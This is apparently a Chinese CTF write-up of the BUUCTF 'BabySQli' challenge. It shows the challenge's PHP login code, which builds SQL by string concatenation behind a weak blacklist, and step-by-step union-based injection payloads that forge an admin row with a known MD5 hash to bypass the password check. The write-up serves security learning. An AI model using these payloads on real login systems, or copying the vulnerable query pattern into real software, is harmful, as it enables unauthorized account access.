登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
BUUCTF靶场29 -- [GXYCTF2019]BabySQli
很有创意的一个题
TMD这道题目就是脑洞真的大!!!进入题目,一个登录框,
https://github.com/imagin-sch/GXY_CTF/tree/master/Web/BabySqli
[HTML] 纯文本查看 复制代码 <!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
wrong user!
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
解码后:select * from user where username = '$name',因此判断用户名处存在SQL注入。
对用户名处进行fuzz,得到如下被过滤名单:

按照SQL注入来解此题,本应是注出数据库,但是一筹莫展,根据writeup,使用sqlmap可注出数据库,其中密码为md5加密,且flag并未在数据库中。 因为是本地环境,直接通过查看源码来学习此题的逻辑。
[PHP] 纯文本查看 复制代码 <!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
通过源码可以发现对输入的用户名中的(、)、=、or进行检测。若不存在上述内容则执行sql查询,判断返回的数组中第二个(下标为
1)是否为“admin”,若为admin则判断输入密码的md5值是否等于查询结果的第三个,若相等则打印flag。这个流程是存在问题的,因为对username处用户输入的过滤的不严格,用户可以自由地使用联合查询。通过下面的例子来具体分析。
常规sql注入手段猜测后台代码中的字段数:
1' union select 1,2#
返回:
Error: The used SELECT statements have a different number of columns
1' union select 1,2,3#
返回:
wrong user!
可以测出user这个表一共有三列,猜测分别为id,username,password(经验)。
在这里,这道题的用户名和密码分开检验,也就是说它是先检验username,把username对应的所有字段都查出来后,再检验密码能不能和查出来的密码对上,检验密码的过程可能会有一个md5的加密。
我们在注入的时候,发现会回显“wrong user!”,但当我们是测试admin用户时却回显wrong pass!(密码错误),很明显这里绝对存在admin这个账号。此时,我们的思路就是登上admin用户或者得到admin的密码。
在用联合注入,
1' union select 1,2,3#
回显wrong user!,说明用户不在第一列
尝试将admin放在第二列的位置,
1' union select 1,'admin',3#
回显wrong pass!,得到用户名是在第二列的位置的
于是我们便可以去猜测search.php它的后端是怎么写的:
[PHP] 纯文本查看 复制代码 ......
$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}else{
die("wrong pass!");
}
}else{
die("wrong user!");
}
}
......
将查询出来的passwd和输入的密码的md5值比较,相等则登录得到flag不相等则wrong pass。
就是我们的sql语句执行时,password字段中的内容要==md5(我们密码栏输入的password)。接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据
看了web,学到了联合注入有个技巧。在联合查询并不存在的数据时,联合查询就会构造一个 虚拟的数据。 举个例子:
最初users表中只有一行数据,

我们通过union select查询就可以构造一行虚拟的数据,

如上图,我们在users表中利用联合查询创建了一行虚拟的数据。

那么我们的思路就来了,我们可以利用联合查询来创建一行admin账户的续集数据,混淆admin用户的密码,将我们自定义的admin用户的密码(123)加进去,这样我们不就可以登录admin用户了吗。
我们在用户名处输入1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#(202cb962ac59075b964b07152d234b70为123的md5加密值,此题由于过滤了括号,所以不能用md5()函数)。在密码处输入我们自定义的密码123,即可绕过检验,成功登陆admin账户,得到flag:

这样,username出的内容拼接到search.php中成了这样:
[PHP] 纯文本查看 复制代码 $name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#";
// echo $sql;
$result = mysqli_query($con, $sql);
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}else{
die("wrong pass!");
}
}else{
die("wrong user!");
}
}
参考:
1. https://blog.csdn.net/m0_46246804/article/details/109128549
2. https://blog.csdn.net/qq_45521281/article/details/107167452
|